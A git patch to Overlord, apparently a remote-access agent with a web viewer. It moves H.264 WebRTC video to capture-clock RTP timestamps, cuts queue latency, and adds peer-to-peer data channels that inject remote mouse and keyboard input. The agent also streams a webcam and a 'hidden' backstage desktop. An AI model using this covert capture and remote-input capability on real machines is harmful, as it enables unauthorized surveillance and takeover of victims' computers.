From 49604b8b533e222fee77d8401232291622ff68d9 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 5 Aug 2026 12:06:13 -0500 Subject: [PATCH] test RTP timestamps --- Overlord-Client/cmd/agent/capture/capture.go | 30 ++----- .../cmd/agent/capture/webcam_windows.go | 3 +- Overlord-Client/cmd/agent/handlers/webrtc.go | 67 +++++++++++++++ .../cmd/agent/webrtcpub/h264_track.go | 85 +++++++++++++++++++ .../cmd/agent/webrtcpub/h264_track_test.go | 44 ++++++++++ .../cmd/agent/webrtcpub/p2p_pion.go | 25 +++++- Overlord-Client/cmd/agent/webrtcpub/state.go | 41 ++++++--- .../cmd/agent/webrtcpub/state_test.go | 42 ++++++++- .../cmd/agent/webrtcpub/whip_pion.go | 15 +--- Overlord-Client/go.mod | 2 +- .../public/assets/remotedesktop.js | 28 ++++-- .../public/assets/webrtc-low-latency.test.ts | 49 +++++++++++ Overlord-Server/public/assets/webrtc-p2p.js | 57 +++++++++++++ Overlord-Server/public/assets/webrtc-stats.js | 10 ++- 14 files changed, 430 insertions(+), 68 deletions(-) create mode 100644 Overlord-Client/cmd/agent/webrtcpub/h264_track.go create mode 100644 Overlord-Client/cmd/agent/webrtcpub/h264_track_test.go create mode 100644 Overlord-Server/public/assets/webrtc-low-latency.test.ts diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 5d6b9ad..4aa4b6b 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -205,12 +205,8 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error { return nil } if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindDesktop) { - dur := time.Second / time.Duration(fps) - if dur <= 0 { - dur = 33 * time.Millisecond - } sendStart := time.Now() - if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, now); werr != nil { log.Printf("webrtc: write h264 failed: %v", werr) } sendDur := time.Since(sendStart) @@ -283,12 +279,8 @@ func sendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, disp return nil } if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindDesktop) { - dur := time.Second / time.Duration(fps) - if dur <= 0 { - dur = 33 * time.Millisecond - } sendStart := time.Now() - if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.KindDesktop, frame.Data, now); werr != nil { log.Printf("webrtc: write h264 failed: %v", werr) } sendDur := time.Since(sendStart) @@ -1929,11 +1921,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error { return nil } if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) { - dur := time.Second / time.Duration(fps) - if dur <= 0 { - dur = 33 * time.Millisecond - } - if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, now); werr != nil { log.Printf("webrtc: write hidden h264 failed: %v", werr) } if slotAcquired { @@ -1976,11 +1964,7 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram return nil } if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) { - dur := time.Second / time.Duration(fps) - if dur <= 0 { - dur = 33 * time.Millisecond - } - if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, now); werr != nil { log.Printf("webrtc: write hidden h264 failed: %v", werr) } return nil @@ -2079,11 +2063,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error { return nil } if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.Kindbackstage) { - dur := time.Second / time.Duration(fps) - if dur <= 0 { - dur = 33 * time.Millisecond - } - if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.Kindbackstage, frame.Data, now); werr != nil { log.Printf("webrtc: write backstage h264 failed: %v", werr) } if slotAcquired { diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go index 2123b4c..ab0f459 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_windows.go +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -187,8 +187,7 @@ func NowWebcam(ctx context.Context, env *rt.Env) error { return nil } if outFormat == "h264" && webrtcpub.IsActive(webrtcpub.KindWebcam) { - dur := time.Second / time.Duration(frameFPS) - if werr := webrtcpub.WriteH264(webrtcpub.KindWebcam, frameBytes, dur); werr != nil { + if werr := webrtcpub.WriteH264(webrtcpub.KindWebcam, frameBytes, time.Now()); werr != nil { log.Printf("webrtc: write webcam h264 failed: %v", werr) } return nil diff --git a/Overlord-Client/cmd/agent/handlers/webrtc.go b/Overlord-Client/cmd/agent/handlers/webrtc.go index 9125e2b..5b2729b 100644 --- a/Overlord-Client/cmd/agent/handlers/webrtc.go +++ b/Overlord-Client/cmd/agent/handlers/webrtc.go @@ -3,6 +3,7 @@ package handlers import ( "context" "encoding/binary" + "encoding/json" "fmt" "log" "net/url" @@ -182,6 +183,11 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p log.Printf("webrtc: P2P congestion target=%d Mbps applied=%d Mbps", bps/1_000_000, applied/1_000_000) } }, + OnInput: func(data []byte) { + if kind == webrtcpub.KindDesktop { + handleP2PDesktopInput(env, data) + } + }, } answerSDP, err := webrtcpub.StartP2POffer(ctx, kind, sessionID, offerSDP, callbacks, hasVideo, hasAudio) @@ -206,6 +212,67 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p return nil } +type p2pDesktopInput struct { + Type string `json:"type"` + X int32 `json:"x"` + Y int32 `json:"y"` + Button int `json:"button"` + Delta int32 `json:"delta"` + Code string `json:"code"` + Text string `json:"text"` +} + +func handleP2PDesktopInput(env *runtime.Env, data []byte) { + if env == nil || len(data) == 0 || len(data) > 4096 { + return + } + var input p2pDesktopInput + if err := json.Unmarshal(data, &input); err != nil { + return + } + move := func() { + absX, absY := resolveDesktopPoint(env.SelectedDisplay, input.X, input.Y) + setCursorPos(absX, absY) + } + switch input.Type { + case "mouse_move": + if env.MouseControl { + move() + } + case "mouse_down": + if env.MouseControl { + move() + sendMouseDown(input.Button) + } + case "mouse_up": + if env.MouseControl { + move() + sendMouseUp(input.Button) + } + case "mouse_wheel": + if env.MouseControl { + move() + sendMouseWheel(input.Delta) + } + case "key_down": + if env.KeyboardControl { + if vk := keyCodeToVK(input.Code); vk != 0 { + sendKeyDown(vk) + } + } + case "key_up": + if env.KeyboardControl { + if vk := keyCodeToVK(input.Code); vk != 0 { + sendKeyUp(vk) + } + } + case "text_input": + if env.KeyboardControl && input.Text != "" { + sendTextInput(input.Text) + } + } +} + func parseICEServers(value interface{}) []webrtcpub.ICEServer { items, ok := value.([]interface{}) if !ok { diff --git a/Overlord-Client/cmd/agent/webrtcpub/h264_track.go b/Overlord-Client/cmd/agent/webrtcpub/h264_track.go new file mode 100644 index 0000000..af3be17 --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/h264_track.go @@ -0,0 +1,85 @@ +//go:build overlord_webrtc + +package webrtcpub + +import ( + "crypto/rand" + "encoding/binary" + "errors" + "sync" + "time" + + "github.com/pion/rtp" + "github.com/pion/rtp/codecs" + "github.com/pion/webrtc/v4" +) + +const ( + h264ClockRate = 90_000 + h264RTPMTU = 1200 +) + +type rtpPacketSink interface { + WriteRTP(*rtp.Packet) error +} + +type h264TrackWriter struct { + mu sync.Mutex + t rtpPacketSink + packetizer rtp.Packetizer + timestamp uint32 + lastCapture time.Time +} + +func newH264TrackWriter(track *webrtc.TrackLocalStaticRTP) *h264TrackWriter { + return newH264TrackWriterWithSink(track, randomRTPVideoTimestamp()) +} + +func newH264TrackWriterWithSink(sink rtpPacketSink, initialTimestamp uint32) *h264TrackWriter { + return &h264TrackWriter{ + t: sink, + packetizer: rtp.NewPacketizer( + h264RTPMTU, 0, initialTimestamp, &codecs.H264Payloader{}, + rtp.NewRandomSequencer(), h264ClockRate, + ), + timestamp: initialTimestamp, + } +} + +func randomRTPVideoTimestamp() uint32 { + var value [4]byte + if _, err := rand.Read(value[:]); err == nil { + return binary.BigEndian.Uint32(value[:]) + } + return uint32(time.Now().UnixNano()) +} + +func (w *h264TrackWriter) WriteH264(nalu []byte, capturedAt time.Time) error { + if len(nalu) == 0 { + return nil + } + if capturedAt.IsZero() { + capturedAt = time.Now() + } + + w.mu.Lock() + defer w.mu.Unlock() + if !w.lastCapture.IsZero() && capturedAt.After(w.lastCapture) { + ticks := uint64(capturedAt.Sub(w.lastCapture).Seconds() * h264ClockRate) + if ticks == 0 { + ticks = 1 + } + w.timestamp += uint32(ticks) + } + w.lastCapture = capturedAt + + packets := w.packetizer.Packetize(nalu, 0) + var writeErrs []error + for _, packet := range packets { + packet.Timestamp = w.timestamp + if err := w.t.WriteRTP(packet); err != nil { + writeErrs = append(writeErrs, err) + } + } + return errors.Join(writeErrs...) +} diff --git a/Overlord-Client/cmd/agent/webrtcpub/h264_track_test.go b/Overlord-Client/cmd/agent/webrtcpub/h264_track_test.go new file mode 100644 index 0000000..64d34a2 --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/h264_track_test.go @@ -0,0 +1,44 @@ +//go:build overlord_webrtc + +package webrtcpub + +import ( + "testing" + "time" + + "github.com/pion/rtp" +) + +type recordingRTPSink struct { + packets []*rtp.Packet +} + +func (s *recordingRTPSink) WriteRTP(packet *rtp.Packet) error { + clone := *packet + clone.Payload = append([]byte(nil), packet.Payload...) + s.packets = append(s.packets, &clone) + return nil +} + +func TestH264TrackWriterUsesCaptureClockForTimestamps(t *testing.T) { + sink := &recordingRTPSink{} + writer := newH264TrackWriterWithSink(sink, 1000) + start := time.Unix(100, 0) + + if err := writer.WriteH264(annexBKey(1), start); err != nil { + t.Fatal(err) + } + firstCount := len(sink.packets) + if firstCount == 0 { + t.Fatal("first frame produced no RTP packets") + } + if err := writer.WriteH264(annexBDelta(2), start.Add(250*time.Millisecond)); err != nil { + t.Fatal(err) + } + if len(sink.packets) <= firstCount { + t.Fatal("second frame produced no RTP packets") + } + if got, want := sink.packets[firstCount].Timestamp-sink.packets[0].Timestamp, uint32(22500); got != want { + t.Fatalf("capture-clock RTP delta=%d, want %d", got, want) + } +} diff --git a/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go index 68f9118..f148a04 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go +++ b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go @@ -126,12 +126,12 @@ func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP st } var ( - videoTrack *webrtc.TrackLocalStaticSample + videoTrack *webrtc.TrackLocalStaticRTP audioTrack *webrtc.TrackLocalStaticSample audioWriter AudioWriter ) if hasVideo { - videoTrack, err = webrtc.NewTrackLocalStaticSample( + videoTrack, err = webrtc.NewTrackLocalStaticRTP( webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, "overlord-video-p2p-"+string(kind), "overlord-"+string(kind), ) @@ -214,6 +214,25 @@ func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP st sess.closeAndUnregister() } }) + pc.OnDataChannel(func(channel *webrtc.DataChannel) { + if opts.OnInput == nil || (channel.Label() != "overlord-input-reliable" && channel.Label() != "overlord-input-motion") { + return + } + if channel.Label() == "overlord-input-reliable" { + channel.OnOpen(func() { + if err := channel.SendText(`{"type":"input_ready","version":1}`); err != nil { + log.Printf("webrtcpub: P2P input readiness send failed: %v", err) + } + }) + } + channel.OnMessage(func(message webrtc.DataChannelMessage) { + if len(message.Data) == 0 || len(message.Data) > 4096 { + return + } + payload := append([]byte(nil), message.Data...) + opts.OnInput(payload) + }) + }) if err := pc.SetRemoteDescription(webrtc.SessionDescription{ Type: webrtc.SDPTypeOffer, @@ -238,7 +257,7 @@ func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP st p2pMu.Unlock() writerID := p2pWriterID(kind, sessionID) if videoTrack != nil { - registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack}) + registerVideoWriter(kind, writerID, newH264TrackWriter(videoTrack)) } if audioTrack != nil { registerAudioWriter(kind, writerID, audioWriter) diff --git a/Overlord-Client/cmd/agent/webrtcpub/state.go b/Overlord-Client/cmd/agent/webrtcpub/state.go index 29dcd4b..ea1c7df 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/state.go +++ b/Overlord-Client/cmd/agent/webrtcpub/state.go @@ -18,7 +18,7 @@ const ( ) type VideoWriter interface { - WriteH264(nalu []byte, dur time.Duration) error + WriteH264(nalu []byte, capturedAt time.Time) error } type AudioWriter interface { @@ -30,12 +30,14 @@ type writerEntry struct { audio AudioWriter } -const maxPendingVideoFrames = 6 +// Keep at most one frame behind the frame currently being packetized. Remote +// desktop latency is more important than preserving stale predictive frames. +const maxPendingVideoFrames = 1 type queuedVideoFrame struct { - data []byte - dur time.Duration - key bool + data []byte + capturedAt time.Time + key bool } type latestVideoWriter struct { @@ -54,7 +56,7 @@ func newLatestVideoWriter(kind Kind, writer VideoWriter) *latestVideoWriter { return queued } -func (w *latestVideoWriter) enqueue(frame []byte, dur time.Duration) { +func (w *latestVideoWriter) enqueue(frame []byte, capturedAt time.Time) { isKey := h264util.IsIDR(frame) w.mu.Lock() if w.closed { @@ -69,10 +71,22 @@ func (w *latestVideoWriter) enqueue(frame []byte, dur time.Duration) { requestKeyframe := false if len(w.pending) >= maxPendingVideoFrames { + // Never evict a recovery IDR in favor of a dependent P-frame. It is + // already the newest independently decodable state available. Since the + // discarded P-frame can be referenced later, request another recovery + // point before accepting subsequent deltas. + if w.pending[len(w.pending)-1].key && !isKey { + w.needsKeyframe = true + w.mu.Unlock() + RequestKeyframe(w.kind) + return + } w.pending = nil - w.needsKeyframe = true - requestKeyframe = true - if !isKey { + if isKey { + w.needsKeyframe = false + } else { + w.needsKeyframe = true + requestKeyframe = true w.mu.Unlock() RequestKeyframe(w.kind) return @@ -83,7 +97,7 @@ func (w *latestVideoWriter) enqueue(frame []byte, dur time.Duration) { w.needsKeyframe = false requestKeyframe = false } - w.pending = append(w.pending, queuedVideoFrame{data: frame, dur: dur, key: isKey}) + w.pending = append(w.pending, queuedVideoFrame{data: frame, capturedAt: capturedAt, key: isKey}) w.mu.Unlock() if requestKeyframe { RequestKeyframe(w.kind) @@ -121,7 +135,7 @@ func (w *latestVideoWriter) run() { w.pending[0] = queuedVideoFrame{} w.pending = w.pending[1:] w.mu.Unlock() - err := w.writer.WriteH264(frame.data, frame.dur) + err := w.writer.WriteH264(frame.data, frame.capturedAt) requestKeyframe := false w.mu.Lock() if err != nil { @@ -229,7 +243,7 @@ func ConsumeKeyframeRequest(kind Kind) bool { return keyframeRequestFlag(kind).Swap(false) } -func WriteH264(kind Kind, nalu []byte, dur time.Duration) error { +func WriteH264(kind Kind, nalu []byte, capturedAt time.Time) error { if len(nalu) == 0 { return nil } @@ -244,7 +258,7 @@ func WriteH264(kind Kind, nalu []byte, dur time.Duration) error { } writersMu.RUnlock() for _, target := range targets { - target.enqueue(frame, dur) + target.enqueue(frame, capturedAt) } return nil } @@ -302,4 +316,5 @@ type P2POfferCallbacks struct { OnICE func(c ICECandidate) OnClose func() OnBandwidthEstimate func(bps int) + OnInput func(payload []byte) } diff --git a/Overlord-Client/cmd/agent/webrtcpub/state_test.go b/Overlord-Client/cmd/agent/webrtcpub/state_test.go index 454d457..4dd9788 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/state_test.go +++ b/Overlord-Client/cmd/agent/webrtcpub/state_test.go @@ -15,7 +15,7 @@ type blockingVideoWriter struct { frames [][]byte } -func (w *blockingVideoWriter) WriteH264(frame []byte, _ time.Duration) error { +func (w *blockingVideoWriter) WriteH264(frame []byte, _ time.Time) error { w.mu.Lock() w.frames = append(w.frames, append([]byte(nil), frame...)) count := len(w.frames) @@ -46,7 +46,7 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T defer unregisterWriter(kind, id) _ = ConsumeKeyframeRequest(kind) - if err := WriteH264(kind, annexBDelta(1), time.Millisecond); err != nil { + if err := WriteH264(kind, annexBDelta(1), time.Now()); err != nil { t.Fatal(err) } select { @@ -57,7 +57,7 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T started := time.Now() for frame := 2; frame <= maxPendingVideoFrames+2; frame++ { - _ = WriteH264(kind, annexBDelta(byte(frame)), time.Millisecond) + _ = WriteH264(kind, annexBDelta(byte(frame)), time.Now()) } if elapsed := time.Since(started); elapsed > 100*time.Millisecond { t.Fatalf("capture path blocked for %s", elapsed) @@ -65,7 +65,7 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T if !ConsumeKeyframeRequest(kind) { t.Fatal("dropping a predictive frame did not request a keyframe") } - _ = WriteH264(kind, annexBKey(9), time.Millisecond) + _ = WriteH264(kind, annexBKey(9), time.Now()) close(writer.release) deadline := time.Now().Add(time.Second) @@ -84,6 +84,40 @@ func TestWriteH264DoesNotBlockAndRequestsRecoveryAfterDroppingDelta(t *testing.T t.Fatal("recovery keyframe was not delivered") } +func TestLatestFrameQueuePreservesPendingRecoveryFrame(t *testing.T) { + kind := Kind("keyframe-queue-test") + id := "slow-writer" + writer := &blockingVideoWriter{started: make(chan struct{}), release: make(chan struct{})} + registerVideoWriter(kind, id, writer) + defer unregisterWriter(kind, id) + _ = ConsumeKeyframeRequest(kind) + + _ = WriteH264(kind, annexBDelta(1), time.Now()) + select { + case <-writer.started: + case <-time.After(time.Second): + t.Fatal("writer did not receive first frame") + } + _ = WriteH264(kind, annexBKey(9), time.Now()) + _ = WriteH264(kind, annexBDelta(3), time.Now()) + close(writer.release) + + deadline := time.Now().Add(time.Second) + for time.Now().Before(deadline) { + writer.mu.Lock() + frames := append([][]byte(nil), writer.frames...) + writer.mu.Unlock() + if len(frames) >= 2 { + if !h264util.IsIDR(frames[1]) { + t.Fatalf("pending recovery frame was replaced by a delta: %v", frames) + } + return + } + time.Sleep(5 * time.Millisecond) + } + t.Fatal("pending recovery frame was not delivered") +} + func TestKeyframeRequestsAreIsolatedByStreamKind(t *testing.T) { for _, kind := range []Kind{KindDesktop, Kindbackstage, KindWebcam} { _ = ConsumeKeyframeRequest(kind) diff --git a/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go index 5b38ba1..72e4d2d 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go +++ b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go @@ -22,7 +22,6 @@ import ( "github.com/pion/interceptor" "github.com/pion/rtcp" "github.com/pion/webrtc/v4" - "github.com/pion/webrtc/v4/pkg/media" ) func drainRTCP(sender *webrtc.RTPSender, kind Kind) { @@ -98,14 +97,6 @@ func honorRTCPKeyframes() bool { } } -type h264TrackWriter struct { - t *webrtc.TrackLocalStaticSample -} - -func (w *h264TrackWriter) WriteH264(nalu []byte, dur time.Duration) error { - return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur}) -} - type Publisher struct { kind Kind pc *webrtc.PeerConnection @@ -187,12 +178,12 @@ func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) { } var ( - videoTrack *webrtc.TrackLocalStaticSample + videoTrack *webrtc.TrackLocalStaticRTP audioTrack *webrtc.TrackLocalStaticSample audioWriter AudioWriter ) if opts.HasVideo { - videoTrack, err = webrtc.NewTrackLocalStaticSample( + videoTrack, err = webrtc.NewTrackLocalStaticRTP( webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, "overlord-video-"+string(kind), "overlord-"+string(kind), ) @@ -296,7 +287,7 @@ func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) { whipByKind[kind] = pub whipMu.Unlock() if videoTrack != nil { - registerVideoWriter(kind, writerID, &h264TrackWriter{t: videoTrack}) + registerVideoWriter(kind, writerID, newH264TrackWriter(videoTrack)) } if audioTrack != nil { registerAudioWriter(kind, writerID, audioWriter) diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod index ae8feb9..8f52468 100644 --- a/Overlord-Client/go.mod +++ b/Overlord-Client/go.mod @@ -19,6 +19,7 @@ require ( github.com/jezek/xgb v1.1.1 github.com/pion/interceptor v0.1.37 github.com/pion/rtcp v1.2.15 + github.com/pion/rtp v1.8.10 github.com/pion/webrtc/v4 v4.0.7 github.com/tetratelabs/wazero v1.12.0 github.com/thesyncim/gopus v0.1.1 @@ -38,7 +39,6 @@ require ( github.com/pion/logging v0.2.2 // indirect github.com/pion/mdns/v2 v2.0.7 // indirect github.com/pion/randutil v0.1.0 // indirect - github.com/pion/rtp v1.8.10 // indirect github.com/pion/sctp v1.8.35 // indirect github.com/pion/sdp/v3 v3.0.9 // indirect github.com/pion/srtp/v3 v3.0.4 // indirect diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 09a3dda..3483e9d 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -152,6 +152,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s let frameWidth = 0; let frameHeight = 0; let latencyAvg = null; + let directInputActive = false; let smoothingPct = 0; let smoothPoint = null; let pendingMove = null; @@ -1173,7 +1174,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s if (ms < 0 || !Number.isFinite(ms)) return; latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2; if (inputLatency) { - inputLatency.textContent = `${Math.round(latencyAvg)} ms`; + inputLatency.textContent = directInputActive ? "P2P direct" : `${Math.round(latencyAvg)} ms`; } } @@ -1286,7 +1287,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s if (fsHudFps) { fsHudFps.textContent = `${snapshot.fps == null ? "--" : Math.round(snapshot.fps)} → ${snapshot.viewerRate == null ? "--" : Math.round(snapshot.viewerRate)} FPS`; } - if (fsHudLatency) fsHudLatency.textContent = `${msText(latencyAvg)} input`; + if (fsHudLatency) fsHudLatency.textContent = directInputActive ? "P2P direct input" : `${msText(latencyAvg)} input`; if (fsHudNetwork) { const networkParts = []; if (snapshot.bitrate != null) networkParts.push(`${snapshot.bitrate.toFixed(1)} Mbps`); @@ -1395,14 +1396,15 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s } else if ((finite(media.lossPercent) ?? 0) > 3 || (finite(network.rttMs) ?? 0) > 150 || (finite(media.jitterMs) ?? 0) > 35) { summary = "Network conditions are causing delay"; severity = "bad"; + } else if ((finite(media.jitterBufferMs) ?? 0) > Math.max(80, frameBudget * 4)) { + summary = `Browser playout buffer is adding ${Math.round(media.jitterBufferMs)} ms`; + severity = "bad"; } else if ( - mode === "off" && fps != null && viewerRate != null && - viewerRate < fps * 0.8 && - diagnostics.coalescedFrames > 0 + viewerRate < fps * 0.8 ) { - summary = `Display is presenting ${Math.round(viewerRate)} of ${Math.round(fps)} decoded FPS`; + summary = `Viewer is presenting ${Math.round(viewerRate)} of ${Math.round(fps)} FPS`; severity = "warn"; } else if ((queue ?? 0) > 2 || (renderMs != null && renderMs > frameBudget)) { summary = "Viewer render queue is backing up"; @@ -1432,7 +1434,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s diagnosticEls.Queue.textContent = queue == null ? "managed by browser" : String(queue); diagnosticEls.Dropped.textContent = `${Math.round(dropped)} / ${diagnostics.coalescedFrames}`; diagnosticEls.Fps.textContent = `${fps == null ? "--" : Math.round(fps)} → ${viewerRate == null ? "--" : Math.round(viewerRate)}`; - diagnosticEls.Input.textContent = msText(latencyAvg); + diagnosticEls.Input.textContent = directInputActive ? "P2P direct" : msText(latencyAvg); renderFullscreenHud(); } @@ -1702,6 +1704,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s return; } const msg = { type, ...payload }; + if (highFrequencyInputTypes.has(type) && getWebrtcMode() === "p2p" && p2pClient?.sendInput(msg)) { + return; + } if (type !== "desktop_decode_pressure" && !highFrequencyInputTypes.has(type)) { rdDebug("send", { msg, @@ -1808,6 +1813,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s if (!webrtcVideo) return; p2pClient = new P2PClient({ videoEl: webrtcVideo, + enableInput: true, send: (msg) => { if (ws.readyState === WebSocket.OPEN) { ws.send(encodeMsgpack(msg)); @@ -1815,6 +1821,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s }, onState: (s) => onWebrtcState("WebRTC P2P", s), onStats: updateNetworkStats, + onInputState: setDirectInputActive, }); try { await p2pClient.start(); @@ -1830,6 +1837,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s } async function stopAllWebrtc() { + setDirectInputActive(false); stopWebrtcFrameTicker(); setWebrtcViewActive(false); const w = whepClient; @@ -3407,6 +3415,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s return { x, y }; } + function setDirectInputActive(active) { + directInputActive = !!active; + if (inputLatency) inputLatency.textContent = directInputActive ? "P2P direct" : msText(latencyAvg); + renderDiagnostics(); + } + function getContainedSurfaceRect(surface, sourceWidth, sourceHeight, elementRect = surface.getBoundingClientRect()) { if (!elementRect.width || !elementRect.height || !sourceWidth || !sourceHeight) return elementRect; const fit = getComputedStyle(surface).objectFit; diff --git a/Overlord-Server/public/assets/webrtc-low-latency.test.ts b/Overlord-Server/public/assets/webrtc-low-latency.test.ts new file mode 100644 index 0000000..ca9b54e --- /dev/null +++ b/Overlord-Server/public/assets/webrtc-low-latency.test.ts @@ -0,0 +1,49 @@ +import { describe, expect, test } from "bun:test"; +import { P2PClient } from "./webrtc-p2p.js"; +import { WebRTCStatsSampler } from "./webrtc-stats.js"; + +describe("WebRTC low-latency paths", () => { + test("routes motion and reliable input over separate data channels", () => { + const client = new P2PClient({ send: () => {}, enableInput: true }); + const motion: string[] = []; + const reliable: string[] = []; + client.motionInput = { readyState: "open", bufferedAmount: 0, send: (value: string) => motion.push(value) }; + client.reliableInput = { readyState: "open", bufferedAmount: 0, send: (value: string) => reliable.push(value) }; + + client.inputReady = false; + expect(client.sendInput({ type: "key_down", code: "KeyA" })).toBe(false); + client.inputReady = true; + expect(client.sendInput({ type: "mouse_move", x: 10, y: 20 })).toBe(true); + expect(client.sendInput({ type: "key_down", code: "KeyA" })).toBe(true); + expect(JSON.parse(motion[0])).toEqual({ type: "mouse_move", x: 10, y: 20 }); + expect(JSON.parse(reliable[0])).toEqual({ type: "key_down", code: "KeyA" }); + }); + + test("reports interval jitter-buffer delay instead of lifetime average", async () => { + let reportIndex = 0; + const reports = [ + new Map([["video", { + id: "video", type: "inbound-rtp", kind: "video", timestamp: 1000, + bytesReceived: 1000, framesDecoded: 10, framesDropped: 0, + packetsReceived: 10, packetsLost: 0, totalDecodeTime: 0, + totalProcessingDelay: 0, jitterBufferDelay: 3, jitterBufferEmittedCount: 10, + }]]), + new Map([["video", { + id: "video", type: "inbound-rtp", kind: "video", timestamp: 2000, + bytesReceived: 2000, framesDecoded: 20, framesDropped: 0, + packetsReceived: 20, packetsLost: 0, totalDecodeTime: 0, + totalProcessingDelay: 0, jitterBufferDelay: 3.5, jitterBufferEmittedCount: 20, + }]]), + ]; + const samples: any[] = []; + const sampler = new WebRTCStatsSampler({ + connectionState: "connected", + getStats: async () => reports[Math.min(reportIndex++, reports.length - 1)], + }, (sample: any) => samples.push(sample)); + + await sampler.sample(); + await sampler.sample(); + expect(samples[0].video.jitterBufferMs).toBe(300); + expect(samples[1].video.jitterBufferMs).toBe(50); + }); +}); diff --git a/Overlord-Server/public/assets/webrtc-p2p.js b/Overlord-Server/public/assets/webrtc-p2p.js index d40f4fb..00a43a7 100644 --- a/Overlord-Server/public/assets/webrtc-p2p.js +++ b/Overlord-Server/public/assets/webrtc-p2p.js @@ -31,8 +31,13 @@ export class P2PClient { this.send = opts.send; this.onState = opts.onState || (() => {}); this.onStats = opts.onStats || (() => {}); + this.onInputState = opts.onInputState || (() => {}); this.iceServers = Array.isArray(opts.iceServers) ? opts.iceServers : null; + this.enableInput = opts.enableInput === true; this.pc = null; + this.reliableInput = null; + this.motionInput = null; + this.inputReady = false; this.pendingRemoteCandidates = []; this.statsSampler = null; } @@ -49,8 +54,26 @@ export class P2PClient { if (this.videoEl) pc.addTransceiver("video", { direction: "recvonly" }); if (this.audioEl) pc.addTransceiver("audio", { direction: "recvonly" }); + if (this.enableInput) { + this.reliableInput = pc.createDataChannel("overlord-input-reliable", { ordered: true }); + this.motionInput = pc.createDataChannel("overlord-input-motion", { ordered: false, maxRetransmits: 0 }); + this.reliableInput.onmessage = (event) => { + try { + const message = JSON.parse(String(event.data || "")); + if (message?.type === "input_ready" && message?.version === 1) { + this.inputReady = true; + this.onInputState(true); + } + } catch {} + }; + this.reliableInput.onclose = () => { + this.inputReady = false; + this.onInputState(false); + }; + } pc.ontrack = (ev) => { + this.applyLowLatencyReceiverHints(); const stream = ev.streams[0] || new MediaStream([ev.track]); if (ev.track.kind === "video" && this.videoEl) { this.videoEl.srcObject = stream; 